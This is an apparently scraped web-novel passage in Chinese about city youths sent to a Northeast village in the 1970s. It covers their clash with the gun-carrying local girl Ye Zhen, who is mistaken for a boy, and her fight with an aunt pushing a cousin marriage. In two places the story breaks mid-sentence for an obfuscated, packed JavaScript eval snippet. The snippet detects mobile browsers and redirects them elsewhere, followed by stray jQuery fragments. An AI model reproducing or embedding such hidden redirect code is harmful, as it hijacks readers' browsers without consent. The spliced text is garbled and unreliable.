孙解放趁机压低声音说:“不要怪我没提醒你,咱们现在是在人家地盘上。”
“那又怎么了?我们是响应国家号召下乡助农的知识青年!”眼镜男大声说。
叶榛挑眉——助农?她怎么记得是接受贫下中农再教育。
几个女知青准备跟叶榛打声招呼就上车,发现她面色不对,再想想刚听到的话,陈菀菀立刻解释:“叶真同志,他这里有问题,别往心里去。”说着指着自己脑子。
眼镜男猛然抬高声音:“你才脑子有病!”
叶榛不耐烦地问:“还走不走?”
孙解放立刻说:“走!”两只手都拎着东西,干脆用肩膀撞一下同伴,“上车!”
叶榛提醒:“挤一挤啊。”
然而九个人一堆行李,挤一挤也挤不下。眼镜男嘟囔着抱怨:“怎么不搞个大一点的车皮?”
真不让我们失望啊,还没到队里就招人烦。叶榛想让他滚下去搭牛车,可是不行,大队长要扣工分。
叶榛好奇地问:“同学,冒昧问一句,你父母做什么工作的?”
眼镜男赵小四不假思索地说:“普通工人。怎么了,农民还瞧不上无产阶级?”
叶榛又问:“你家条件咋样?听说几位都是从首都来的,应该顿顿白面白米吧?”
赵小四本能反驳:“不是啊。”
陈菀菀不希望被误会:“其实城里人跟农村人差不多。唯一不同的是你们种地,我们做工。”
孙解放点头:“对!我们几个就明杭生家有这条件。”指着身边无精打采的人。
大家的目光都转到他身上,明杭生不得不开口:“我家粮食也是定量,没比你们多多少。”
叶榛朝对方看去很意外,五官不错,肤色像娇养出来的,就是精神状态有点蔫巴。刚才没注意到他,肯定是他一直耷拉着脑袋又站在最后面。
叶榛点点头表示知道,转向那位赵小四:“是不喜欢吃白米白面吗?”
“这话说的,有的吃谁不喜欢!”赵小四不禁反驳,乡下人真无知。
叶榛冷笑一声:“你知道吃不起啊!”
赵小四愣住,不解其意。
几个知青反应过来,扑哧笑出声。
赵小四一脸莫名其妙:“笑什么?”
明杭生慢吞吞道:“生产队要有大车皮,不用留着生锈吗?”
赵小四张张口,一时间不知如何反驳憋得脸通红。
叶榛发现确实坐不下,道:“背着被子坐我两边,当心腿,别碰到车胎和皮带。”
一直没开口的两位男知青上前。
叶榛道:“另一边的先上去。这边等一下,我上车你再上。”
陈菀菀的同学趁机称赞:“叶同志真细心。”
陈菀菀不禁翻个白眼。
她同学白了她一眼,又问:“叶同志,永安生产队离这边远吗?”
叶榛点点头:“可以把厚衣服拿出来包上脑袋。车开起来路上风大。”
话音落下,一阵风过来,叶榛不禁眯上眼。没当回事的几人赶忙找厚衣服和帽子,可嘴巴闲着,陈菀菀的同学又问:“叶同志,这个时节还下雪啊?”
叶榛疑惑不解。
“那边那片白的是什么?”
叶榛扭头看去:“白桦林。”
“那就是诗里的白桦啊?真好!”女同学不禁感叹,“人也好,景色也好。嗳,叶同志——”
叶榛皱眉,没完了吗。车摇起来之前她说:“确实不错。我们这儿以前很有名。”
女同学没话找话:“怎么没听说过啊?”
赵小四道:“我也没听说过。你就吹吧。”
“那是你无知!”车响了,摇把扔车上,叶榛坐上去,回头道:“这里又叫宁古塔!”
紧跟着叶榛上车的知青慌忙扶着车座靠背:“啥?流放宁古塔?!”
4. 耀武扬威
回答知青的是拖拉机“突突突”的声音。
坐在叶榛旁边的两位男知青回头看同伴们,无声地问,这里真是宁古塔啊。
城里到处破旧物,哪还有人看历史书啊。几个知青不知道,陈菀菀也不知道,她上辈子虽然刷到过“宁古塔旅游攻略”,可她懒又不想离家太远,就没留意清朝的宁古塔在后世叫什么。
陈菀菀忽然发现明杭生好像不意外,就转向他。
明杭生来之前他祖父跟他详细说过此处风土人情环境地貌:“宁古塔是指这一带,不是指现在某个生产队。”
“那还是宁古塔!”
几个知青的惊叫声把叶榛吓一跳,注意到前面有坑,本想放慢速度,干脆直接过去。九个知青猝不及防差点摔下去,顿时不敢一心二用。
赵小四坐稳就嘀咕:“这小子故意的!”
明杭生转向他。
“你不信?”
明杭生欲言又止。
赵小四又嘀咕:“难怪这里是宁古塔!穷山恶水出刁民!”
先前挤开陈菀菀的女知青朝他胳膊上一下:“别胡说!谁不知道东北地大物博!知道把我们弄到这里家里费多大劲吗。”
孙解放闻言本能想反驳,就在这时明杭生扭头看他,面上没什么表情,孙解放却看出他不高兴,顿时不敢把他的猜测说出来。
传说现在的东北棒打狍子瓢舀鱼,所以首都知青都想来东北。可他们的父母要么是普通工人,要么是基层干部,甭管费多大劲也很难把他们一个班分到一个地区。
明杭生的祖父是老革命,结合上车前工作人员问谁愿意去生产队,明杭生一声不吭出列,工作人员震惊的样子,这里不是有明家亲戚就是有明爷爷的老部下。否则兵团不可能在要不了这么多知青的情况下依然接收。
几个女知青注意到孙解放神色不对,就问:“你俩打什么哑谜呢?”
明杭生帽子一拉遮住眼,靠着孙解放闭目养神。
喜欢跟叶榛聊天的女知青气得骂:“还当自个是高干子弟?这里是农村,大家都一样!活该你在学校没朋友!”
孙解放不禁问:“我不是啊?”
“——整天一副谁都欠他几万斤粮食的样子,你也受得了?”女知青曹芳芳纳闷,“简直白瞎了这张脸!”
陈菀菀深表赞同,难怪作者不把他设为主角。就这脾气,他是大佬,原配也犯不着重生。还是她的叶真好,人是冷的,心是热的。
孙解放不赞同。
以前孙解放也烦明杭生,哪怕他学习好,哪怕他不惹事。只因明杭生目无下尘。
六年前全国各地都很艰难,孙解放一天两顿稀,有次放学到校门口就要晕倒,突然被人一把扶住。孙解放正想道谢,肚子咕噜一声,扶着他的手松开,紧接着塞给他两个糖。
第二天晚上回到家,他在书包里发现一张五斤的粮票。
孙解放知道是明杭生放的。孙解放找机会向他道谢,明杭生就说三个字——我家有。言外之意没有多的粮票你饿死我也不管。
孙解放担心同学知道了都去找明杭生借粮,回头自家再遇到困难明杭生没粮票借给他,所以谁也没说。
现在说出来同学肯定能猜到他当时怎么想的。孙解放不希望被当成自私的小人,明杭生好像也不在意被误会,孙解放干脆说:“以后你就知道。”
知道他会自杀吗?陈菀菀腹诽一句,明杭生裹紧身上的衣服,陈菀菀被他的动作吓一跳,慌忙低头。
孙解放问:“冷啊?”朝前面喊:“叶同志,能慢点吗?”
叶榛没听清,坐在她身边的知青问能不能慢点。
“饿不饿?”叶榛问。
知青下意识摸摸肚子,早上啥也没吃,又渴又饿。
叶榛瞥到他的动作:“这个速度到队里正好吃午饭。”
男知青回头说:“再慢就赶不上午饭了!”
车上几人相视一眼,拆开放在腿上的被子,男女各裹一条被子。
九人快被坑洼不平的砂石路颠麻木,耳朵也要受不了拖拉机的声音,拖拉机终于停了。九人却提不起精神下车,跟遭受了一个小时折磨似的。
大队长在知青点院里,听到车声出来看到一个比一个蔫巴,想也没想就吼叶榛:“咋回事?原先我咋说的?”
叶榛只当没听见,转向身侧的知青:“还不下去?”
知青如梦初醒,慌忙下去,然而因为腿麻单膝跪地。大队长扶着他,脱口道:“孩子,我就是个生产队长,不用行这么大礼!”
知青们愣住,除了下跪那位,其他人回过神都忍俊不禁。
大队长意识到岔劈了,很是尴尬,瞥到叶榛笑眯眯的,心说我不能吼初来乍到的知青,还不能训你个小犊子:“不回家等我留你吃饭?!”
叶榛淡淡地扫他一眼,拿起塞在车座边上的枪。
扶着大队长手臂站稳的知青又不禁腿软:“枪?”意识到这枪一直在他脚底下,这一路上他都没发现,顿时感到后怕,又急又恼,“怎么能弄把枪放车上,擦枪走火伤到我你——”
叶榛转手把枪对准他。
男知青吓得闭嘴,整个人紧张的一动不敢动。
车上七人下来正好看到这一幕,陈菀菀轻呼一声,这么刚?是男人!一把枪,多大点事儿,吵吵吧火的,不给他点颜色看看,真当全天下都是他爹妈,他是个宝宝。
人家开车的时候他怎么不担心人家年龄小技术菜出车祸!
孙解放紧张,不由得靠近明杭生。明杭生很无语,就算叶真不懂事,还有大队长呢。明杭生推一下孙解放。孙解放愣了一瞬间,不确定地眨了眨眼睛。明杭生微微点头。孙解放深吸一口气,挤出一丝笑:“叶真同志,叶同学,有话好好说!”
叶榛恍若未闻,枪口抵住男知青脑门,“擦枪走火伤到你,我赔不起?”清冷的声音宛如恶魔在人间。
陈菀菀顿时很想鼓掌,不愧是她看上的人!
男知青膝盖发软,孙解放一看他要出糗,扶着他朝大队长看去,您老快说句话啊。
大队长不是没看到,他一声不吭也不是故意偏袒叶榛,而是趁机给不知天高地厚的崽子们个下马威。省得今天到队里,明儿就出现在山上。
眼瞅着小知青要吓尿,大队长依然没训叶榛:“小同志,你误会了,咱这边地广人少,到处是野猪豺狼,带着枪可不是为了显摆,是为了防身啊。”
孙解放立刻附和:“原来如此。是我们不懂,叶同志,您别见怪。”
叶榛冷眼看着脸色煞白的男知青:“你是知识青年,有句话想必你听说过。”
明杭生脑海里瞬间浮现出“刀枪无眼,伤残难免。”
“刀枪无眼,伤残难免。”叶榛用冷漠的神色说出来,明杭生莫名想笑,这姑娘真会吓唬人。
大队长感觉差不多了:“榛儿,你家来客了。”
“谁呀?”叶榛其实也怕老猎枪走火,所以移开枪口才问。
大队长:“你大姨!”
叶榛呼吸一顿:“咋不早说?!”拎着枪就往家跑。
孙解放长舒一口气,被他撑着的男知青倒在他身上。大队长见状想笑,这可比去年来的那批怂多了:“看你吓的。榛儿和你闹着玩呢。”
“有拿枪闹的?”男知青惊叫。
大队长吓一跳,心说有力气吼,看来还是吓得轻。
孙解放赶忙打圆场:“他没见过枪,您别见怪。”不待同伴开口,“以前就听家里老人说过,这边野兽多。可来的路上也没见有野猪豺狼啊?”暗暗捏一把同学的胳膊,暗示他闭嘴。
大队长没看到这一幕,实话实说:“早上来过一次被我们给撵走了。谁也说不准那些畜生会不会走了再回来。”
男知青下意识往四周看。
大队长:“现在没了。都在山上。”
孙解放问:“山离得远吗?”
“不算远。两三里路。可别觉着山上有意思一个人悄摸上去。”
孙解放也没胆子一个人上山:“我是想问野猪会不会半夜摸进来。”
“知青点在屯子里头,野猪摸不到这里。外面风大,先进屋?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234319|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>陈菀菀不由自主地朝叶榛消失的方向看去,大队长顺着她的视线,道:“榛儿家在前面。”
孙解放看出大队长吼叶榛并非厌恶她,像爹妈吼自家孩子:“叶同学看着不比我们大,可他又会开车又会用枪,真厉害啊。”
大队长不由得露出笑意:“我们榛儿聪明着呢。”
孙解放确定自己恭维对了:“人也挺好,提醒我们路上风大,不然这一个小时下来非得着凉。”
赵小四不禁嘀咕:“我们又不傻。”
大队长的笑容定格。
孙解放头都大了,真当他们是贵客啊。看看下车到现在就生产队长一个人招呼他们,还不能说明一切吗。
以前知青下乡是助农,乡亲们欢迎着呢,恨不得敲锣打鼓。现在是城里养不起,让农民帮着养啊。
孙解放笑着转移话题:“队长,我们住一起吗?”
大队长微微摇头,一边朝院里去一边说:“都先进来。”到正房又解释,“咱们这里跟首都不一样,都睡炕。”指着有炕的东间,“男知青住这里。知道你们爱看书,西间是书房,放了几个书桌,都收拾好了。吃饭就在中间这间。厨房在偏房。”
陈菀菀问:“我们住哪儿啊?”
大队长:“隔壁。隔壁房子跟这边一样三间正房坐北朝南,外加两间偏房。大家先把东西放炕上,我跟大家说说队里的情况。”
赵小四问:“不能吃了饭再说?”
大队长呼吸骤停,孙解放抢先开口:“少吃一顿饿不死你。”转向大队长,笑着说:“您老先说,我们也想知道这生产队跟城里有啥不一样。”
伸手不打笑脸人。何况这些知青刚出高中校园,还是半大孩子。大队长也不好斤斤计较:“是这样,别的生产队知青少,就叫知青户口挂在社员家里。咱们队人多,所以腾出两个知青点。大伙儿的口粮都收上来了。不过我得提醒大伙儿,口粮要吃到秋收。有苞米、有大米,还有大豆高粱,大伙儿敞开了吃一个月吃完,队里不负责。”
孙解放不给其他人机会:“家家户户都不容易。”
大队长很意外,有个懂事的啊。这就好办。大队长笑着说:“大伙儿都正长身体,消化快,我知道,饿的受不了就跟队里的人上山,山上啥都有。运气好的话到秋还能剩不少粮食。到时候是卖还是平均分了寄回家,看你们自个。”
孙解放家里人多,吃商品粮的少,闻言眼中一亮,还有这好事啊。
大队长继续:“厨房里有晒干的菜,也有腌的咸菜酸菜,都是社员给的。农具啥的也有。油盐也够吃一段时间。先省着点用,农忙过后再说。”说完就表示他先回家吃饭。
孙解放立刻说:“一起吃点吧?”
“不了。”大队长摆摆手,忽然想起一件事,“对了,跟我来厨房。”
九人跟去厨房。
厨房有两间,大队长指着里面的缸:“粮食都在这儿。菜在柜子里。”指着地上的瓷盆,“这是——”
“肉?”
几个知青惊呼。
大队长不由得想起自家孩子看到肉的样子,笑着说:“野猪肉。再泡泡水。晚上或明天再做。不会做就问问社员。以后想男女分开吃也行,你们自己决定。”掀开木锅盖,裹着米香面香的白烟扑面而来,所有人都忍不住吞口水。大队长也一样:“照理说,上车饺子下车面。怕你们吃不惯,米和大馍各一半。底下是小鸡炖蘑菇。我家的小鸡。”
孙解放几个月没见过鸡肉了,闻言很感动:“让您费心了。”
这话让大队长很受用,也乐意多说几句,“吃了饭先歇息,歇过乏就去我家,我叫老伴教大伙儿种菜。有空的话再教大伙儿挖野菜。别的咱不能保证,我们有一口吃的都不会让大伙儿饿着。”
孙解放:“我们信。您跟我们一起吃点吧?”
大队长摇摇头,孙解放送他出去,到门口看到几个人往南跑:“出什么事了?”
大队长也不清楚,一把拉住从他身边窜过的小崽子:“干嘛去?”
“看热闹!榛儿和她姨打起来了。”
5. 大打出手
叶榛父亲这边兄弟姊妹四个,两男两女,她爸排行老大。她妈那边也是四个,但她舅是老大,她妈是老三,她妈上面有个姐,底下还有个妹。
今天来叶榛家的就是她母亲的姐。
她大姨前段时间顶着大雪来过一次,给叶榛介绍对象。
这年头姑娘十八就能领结婚证,给十七八岁的叶榛介绍对象也正常。可介绍的人不正常,不是远房亲戚的孩子,不是邻居的儿子,也不是农场干事,而是她大姨的亲儿子。
叶榛乍一听到这事都傻了,一个劲怀疑自己穿到清朝。她爹没辫子,她妈也没缠足,她才敢相信自个长在红旗下。
叶榛的大表哥身高随了她姨,比叶榛矮半头,长得一般随他爹,小学还没上完就不读了。以前她姨还叫她爷帮着在邮局找个工作,说她儿子能说会道,用不了几年就能上去,到那时还可以拉叶家一把。她爷理都没理。她姨又把主意打到她姑身上,说俩人年龄相仿,身高差不多很般配。
叶榛的小姑直接问,你家没镜子还没有尿吗?
她姨嫌她小姑说话难听,说这样的儿媳妇倒贴钱她也不要。
以前她也不敢打叶榛的主意。叶榛中专没考成,闹的整个生产队都知道她性子烈,她大姨就觉着这闺女以后没人敢要,她家可以吃点亏把叶榛娶了。
叶榛一家以为她姨开玩笑。结果人真是这样想的。叶榛她小姑提醒“叶榛比我脾气大。”
她姨的意思结了婚有了娃就知道过日子。
叶榛她姑又说“江山易改,本性难移。”
她姨听不懂,反而说她姑没结过婚不知道人一结婚就成熟稳重了。叶榛她爷看在儿媳妇的面上不好意思直接撵人,就说叶榛不嫁,以后找个上门女婿。
她大姨犹豫了,她大姨走了。
上个月叶榛开车载着乡亲们到县里卖东西,半道上碰到她姨,她姨用一副吃了大亏的语气表示可以叫儿子倒插门。
叶榛她妈气笑了。
当时车上还有几个自诩见多识广的大爷大妈,听到这话直接愣住。到队里下了车才回过神,问叶榛她妈咋回事。
以前她妈觉着家丑不外扬。可这次实在生气就从叶榛她姨第一次提起这事说起。大爷大妈感叹物种的多样性。队里的二流子听说了这事惊呼,“我天!还有比我更不要脸的人!”
大队长也听说过这事,所以他笃定一提“大姨”,叶榛会立刻回家。可他没想到叶榛这么没耐心,这么一会儿就撕吧起来。
叶榛手里可还有枪啊。大队长后悔多嘴,松开小崽子就往南去。
孙解放不禁问:“队长,我——”
“吃饭去!”
赵小四出来,看大队长跟身后有狼追似的:“这么着急,谁跟谁打起来?”
“接咱们的叶真和他姨。”孙解放说着话转身回院。
赵小四一把抓住他。
“别看热闹不嫌事大。”
赵小四一副怎能这么冤枉他的无辜样儿:“咋能这么说。虽然姓叶的小子一副老子天下第一的样子,我看他第一眼不想看他第二眼,可好歹把咱们接回来,还提醒咱们别着凉。现在有人欺负他,于情于理我们都不能不管。”
陈菀菀和三个女知青从屋里出来附和,“应该过去看着叶真别吃亏。”
孙解放虽是班长,但他还想听听明杭生的意见:“明杭生呢?”
明杭生无奈地盖上锅盖。
赵小四问:“干嘛问他?三棍子打不出一个屁!”
他们这些人就明杭生在这边有人脉。出了事只有明杭生能帮他们啊。孙解放无奈地瞥一眼啥也不知道的赵小四,亏他也是明杭生的高中同学。
孙解放见明杭生出来便知道他愿意管闲事:“看看可以。但我们刚来啥都不懂,不许乱出头。”
“放心吧!”赵小四说着就往前跑,看到人多的地方就往里挤,也不怕把眼镜挤掉。
挤到前面,赵小四慌忙扶着镜框,确定自己没看错,不禁往后缩。跟着他挤进来的孙解放问:“咋了?”
啪一声,孙解放看过去,叶榛抄着枪杆子朝一个中年男子身上砸。孙解放吸一口气,替他疼得慌。
中年男子抬手夺枪,叶榛又朝他脑袋上一下,赵小四吓得惊呼一声,中年男子往后踉跄,离他不远的中年女子慌忙扶着男人,指着叶榛:“我看你敢打死他?”
“我敢打死你!”叶榛抡起枪杆子照她脑门砸。
女人身材矮小,力气不小,闪身躲开的同时不忘拉一把男人,朝叶榛的妈吼:“秦小竹,就看着她打你姐?她愿意就愿意,不愿意我们能逼她?”
这女人正是叶榛的大姨,男人是她姨夫。
叶榛她妈被她姨蛮不讲理的样子气无语了。叶榛的小姑问:“你说不逼她,那我们说你家榛儿高攀不起,你还揪着不放?”
“我是为了谁?”叶榛大姨大吼,“你看看她这样,男不男女不女,除了自家亲戚,谁受得了?”
叶榛:“没人受得了,我一个人过!”
“你说啥?”她姨像被人戳了肺管子,尖叫,“你是不是脑子有病?”
叶榛抡起枪杆子:“你有病!”
她姨慌忙闪开,她姨夫道:“再这样别怪我不客气!”
“我看你怎么不客气!”
赵小四听到熟悉的声音,扭头看去,大队长双手环抱一脸讥讽地盯着对方。赵小四问孙解放:“大队长那么着急是来帮叶真?”
孙解放给他一个“不然呢”的眼神。
赵小四后知后觉:“那他之前吼叶真——”
“一个白脸一个红脸!”
赵小四张张口,不愿意接受这个现实:“你是说他也不欢迎咱们?”
两人身侧的社员扭头看他。
孙解放嘲讽:“可算发现了。”
“可是以前——”
“你也说是以前啊。”
当着外人的面不好说太多,赵小四嘟囔道:“看热闹,看热闹。”
叶榛的姨夫不禁问:“你谁呀?”
赵小四以为问他,没等他开口就听到大队长自报家门——永安生产队大队长。
大队长身侧的社员笑眯眯道:“要不我们挨个给你介绍介绍,省得一会儿打起来,你不知道谁打的?”
“你你你,吓唬谁!”
大队长不耐烦地问:“试试?”
叶榛她姨朝后退两步找自家人:“秦小竹,别怪我没提醒你,这孩子再不管,将来有人敢娶,我跟你姓!”
叶榛:“我妈跟你一样姓秦。”
“等等!”赵小四忍不住问身边人,“谁娶?”
社员很嫌弃:“听了半天还没听出来?”指着叶榛她姨,“她家倒霉儿子娶不着媳妇要入赘叶家,叶家不稀罕,榛儿叫她有多远滚多远,她非说为榛儿好,不嫁给她倭瓜儿子,将来没人敢娶,还嫌榛儿不知好歹,榛儿才动手。”
赵小四下意识说:“我大概听出是因为婚事不成,不对,叶真是女的?!”
“废话!”社员很不高兴,“榛儿哪点像男的?有这么俊的小子?”
赵小四就想找明杭生,可一想他一直把叶真当男的,又顾不上明杭生,“那,那名字也不是真假的真?”
“啥玩意?当然是榛子的榛。”
赵小四张口结舌:“她,她怎么能是女的?”
这句声音不小,叶榛她姨听得一清二楚,指着她妹:“你听听,可不是我说她没点姑娘样儿。就这还瞧不上我家老大——”
“嗳!”赵小四打断,“这大姨,我没说叶榛配不上你儿子。”
叶榛她姨:“那就是配得上!”
赵小四词穷。
孙解放真不想解救他:“大姨,我没说那公鸡配不上你——”指着她身后看热闹的大公鸡,“照你的意思,公鸡配得上你呗!”
男女老少愣了一瞬,反应过来哈哈大笑。
没能挤进去的几个知青问明杭生:“笑什么呢?什么男的女的啊?”
明杭生请社员们让一下。社员不乐意,回头一看是几个生面孔,猛然想起之前大队长说这批知青还行,就让出一条路。
明杭生到孙解放身边,孙解放让他上前面,他看到一对中年男女脸通红,张牙舞爪命令所有人“闭嘴,不许笑!”
明杭生:“就是他们啊?因为什么?”
“儿子应该像妈,要长相没长相要身高没身高,再看这两口子的衣服打着补丁,家里应当没有多少钱,娶不上媳妇,就打叶榛的主意。”孙解放说着,忽然想起在车上明杭生几次欲言又止,“你知道她是女的?”
“有骨架这么细的男生吗?”明杭生一脸无语地问。
孙解放想说,叶榛当时穿着旧大衣,谁能看出她纤细还是粗犷啊。可现在纠结这些还有啥意义:“不是不提倡近亲结婚吗?”
明杭生:“无知!”
“嗳,小点声——”
“谁无知?!”
叶榛大姨朝明杭生吼。
孙解放想捂脸装不认识,他还当在首都呢。
明杭生双手插兜,微微抬眸,欠儿欠儿的:“近亲结婚容易生出残障儿童,但凡读过几年书的人都知道。你是没读过书真无知,还是跟叶榛有仇,希望她生个傻子?”
“等等,哪个叶榛?”挤到俩人身后的知青曹芳芳忙问。
孙解放下意识:“这个啊。”
“她是女的?!”陈菀菀惊叫。
叶榛大姨脱口道:“不是女的是你的?”
陈菀菀猛然转向明杭生,快告诉我,不是真的!
明杭生嘴角露出一丝笑意,不客气地点点头。
陈菀菀听到“啪嗒”一声,什么碎了一地,不由得摇头:“不可能——不可能!”
同陈菀菀抢着跟叶榛套近乎的曹芳芳头脑发蒙,讷讷道:“一定是我这一路上没休息好。”
叶榛她姨几次被打断很是恼火:“你们一个二个的谁呀?有你们啥事?”
社员们不由得朝曹芳芳和陈菀菀等人看去,发现都是生面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234320|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孔,瞬间想到他们是新知青。想看新知青出糗,社员们不约而同地止住笑声。
孙解放算看出来,全体社员都不待见叶榛的姨和姨夫,不然不会只看热闹不劝架。如果他向着叶榛,那社员肯定帮他们。
孙解放照实说:“知青!”
“原来是知青。”叶榛一听不是有父母兄弟的社员,顿时抖起来,“爹妈没教过你别管闲事?”
孙解放点头:“不如你爹妈厉害,把你教的都会算计自家人!”
叶榛她姨脸色涨红:“你——秦小竹,她骂咱爹娘,你还不管?”
叶榛:“我妈聋了!”
叶妈下意识点头。
她姨气得跳脚,指着孙解放几人:“有多远滚多远。我不舍得打外甥女,不等于不舍得打你们!”
赵小四好笑:“说得好像你敢动叶榛似的。”
社员们立刻附和:“就是!”
曹芳芳轻扯孙解放的衣袖,一副受了沉重打击的样子:“所以叶真真是女的?”
孙解放:“是的。不是纯真的真,是榛子的榛!”
“我连名字都弄错了?”
孙解放终于意识到不对:“不是,你,你不会——”
明杭生言简意赅:“一见钟情!”
孙解放难以置信地说:“……以为你们只是比较欣赏她。”
曹芳芳的脸一下红了,一副没法见人恨不得找个地缝钻进去的样子。
在几人身侧的社员们忍俊不禁。
陈菀菀立刻捂着脸退出去,怎么会有比睡死过去还丢人的事啊。
叶榛她姨以为嘲笑她,怒火上涌,抓起地上的土坷垃就砸。叶榛眼疾手快,朝她胳膊上一下,土坷垃掉地上。
社员们意识到什么,面若寒霜:“不跟你一般见识,真当我们生产队没人。大伙儿过来,把这俩货扔出去!”
正好饭点,大伙儿想回去吃饭,十几个壮劳力上前,三下五除二把人架起来朝路口走去。
叶榛她姨大喊“秦小竹”,叶榛她妈挨个说:“我姐不懂事,大家见笑了。”
上个月见过叶榛她姨的大爷大妈道:“多大点事儿。又不是不知道她什么德行。别往心里去。”
大队长道:“都散了,下午还有活儿。”
叶榛单方面打人的热闹没多大意思,老弱妇孺想看那两口子出糗,那两口走了,大家三三两两散去。
曹芳芳直勾勾盯着叶榛,恨不得用意念给她变性。
叶妈问:“小同志,咋了?”
孙解放笑出声。
周围准备离开的社员停下,顺着曹芳芳的视线想起什么,扑哧笑喷。
叶妈一头雾水:“这姑娘到底咋了?”
二队长的媳妇也在,她忍着笑,指着叶榛:“去年我叫她把头发留起来,不然以后得三天两头闹误会,你们一家还不信。现在信了吧?”
叶妈看着女知青满脸羞愧的样子,冷不丁想起去年有个女知青三天两头来找叶榛,突然有一天不来了,她问小姑子是不是叶榛欺负人家了。小姑子说发现叶榛是假驸马。
叶妈一直当小姑子满嘴跑火车,见状她满脸错愕:“这,这,榛儿——”
“不,不关叶榛的事。”曹芳芳忙说,“怪我,是我先入为主。”
叶榛瞥一眼她妈,听见了吧。
叶妈张口结舌:“不是,我,你从明天,不,今天起给我留长发!”
“不留!”叶榛转身就走。
上辈子一直被管着不许剪短发,原因短发没有淑女样儿,叶榛受够了,穿过来没多久就把乌黑的辫子剪掉。
现在利落的学生头是她妈剪的。叶妈见说不算她:“以后别找我剪头!”
“你不嫌我丑,我自个剪,反正我看不见。”叶榛事不关己地说完就进院。
叶妈气得出气多进气少:“——就气我吧。”
曹芳芳忍不住说:“姨,您消消气,每个人都有自己的喜好,不能你认为长发好看,就叫叶榛留长发啊。”
二队长的媳妇叹为观止:“小同志,俺们榛儿是女的啊。”
“我知道。”曹芳芳一副你不用再提醒的样子。
孙解放:“你不知道。这大姐想说她都变成女的了,你还向着她说话?”
曹芳芳眼里瞬间没光了。
孙解放顿时觉着自己很过分,正想道歉,却听到:“她是女的也是叶榛啊。”
赵小四摇头叹气:“没救了。”
叶榛她妈急了:“孩子,我——”瞅见明杭生,眼睛一亮,这孩子好看,“你看他,你们是一起的吧?我觉着他就不错!”
曹芳芳扭头朝明杭生翻个白眼,性格那么恶劣,谁稀罕!曹芳芳转过头,笑着说:“姨,知道你想说什么。不能成为男女朋友,还可以是朋友啊。”停顿一下,故意问,“你不希望叶榛多个朋友啊?”
“这话说的,当然希望。”叶妈为了证明这一点,“榛儿下午应该会上山,你们一起,也看看咱们这里跟城里有啥不一样。”
6. 趁机撮合
几人回到知青点就洗手准备吃饭。
赵小四越想越不痛快:“别管咋说,我们都是知识青年,凭什么一个二个都不欢迎我们啊?”
“不饿?”孙解放问。
赵小四嘟囔:“一看这锅饭菜就想到队长,紧接着就想到没人欢迎咱们。”说着说着要哭了。
孙解放看他这没出息的样儿也没法装瞎,“真想知道为啥啊?”
赵小四使劲点头:“不然吃不痛快!”
曹芳芳心里不痛快,忍不住吐槽:“娘们兮兮!”
“这么嫌弃你不是女的?”赵小四脱口反驳。
曹芳芳噎住。
孙解放倍感头疼:“还要不要我说?”
赵小四闭嘴。
孙解放家里人多粮食少,穷出身,能理解靠天吃饭土里刨食的人民群众为什么不待见他们:“大队长说咱们的粮食都是社员给的,换句话说,咱们不来,人家是不是能多吃几顿饱饭?
赵小四:“我们也不是吃白饭的。”
孙解放不客气地问:“那你知道什么时候插秧收大豆吗?你是会给牲口看病,还是养猪能手?”
赵小四张张口:“我,我可以给他们扫盲。”
孙解放:“你看叶榛像没上过学吗?”
赵小四不禁问:“啥意思?”
孙解放:“人家队里就有知识青年,稀罕我们扫盲?”
赵小四噎了一下,就想找帮手,所以转向明杭生,他发现孙解放很听明杭生的话。
明杭生:“不止这一点。这一年来的知青惹出不少事。”
赵小四不禁说:“可他们是他们,我们是我们——”
孙解放打断:“你跟他们有啥不一样?还没上车就嫌人家车皮小。叶榛提醒我们别着凉是事实吧?非当人队长的面表示不稀罕。你跟人家亲,还是叶榛跟队长关系近?”
赵小四不服,忍不住辩解:“是她——”
孙解放着急吃饭,不容他诡辩:“人脾气不好也没欺负我们。说这里是宁古塔是因为你嘴贱。”转向刘建设,“你不大呼小叫,她拿到枪就直接走了。”
被叶榛的枪指头的知青刘建设想起这事就嫌丢人,“你跟谁一边的?”
孙解放没有回答这个问题:“甭管跟谁一边,我就问你,收下我们对整个生产队有什么好处?人家该准备的一样没少,还不许有点脾气?就是咱们的父母,听到你一会儿嫌这一会儿嫌那,也不惯着我们。何况我们跟人非亲非故!”
赵小四和刘建设无言以对。
几个女知青附和:“班长说得对!”
明杭生撩起眼皮站直:“我只想知道,可以吃饭了吗?”
赵小四转向明杭生:“真是这样?”
这事没完了吗?明杭生心烦:“上面号召知识青年去广阔的农村接受贫下中农再教育。”
孙解放怀疑赵小四听不懂:“大学校园换成农村!”无奈地瞥一眼赵小四,“以后别当自己是贵客!到了这里要自食其力。不止我们,全国知青都一样!”说完去堂屋拿他的洗脸盆,回到厨房掀开缸盖挖一瓢水,“洗手。”
明杭生过去洗洗手,接过他递来的毛巾擦擦手就去找碗筷。
曹芳芳看不下去:“明杭生,大家是同学!”
“所以呢?”明杭生奇怪地瞥她。
曹芳芳见他这样胸口疼,暗暗劝自己莫生气,气死自己他如意:“凭什么让班长伺候你?”
孙解放忙说:“哪有那么严重,别乱上升。”
“你——”曹芳芳怒其不争气得咬牙,“我不管了!”
明杭生问:“米和馍怎么分?”
孙解放放下毛巾,问同学们:“省着点吃,还是一顿吃饱三天不饿?”
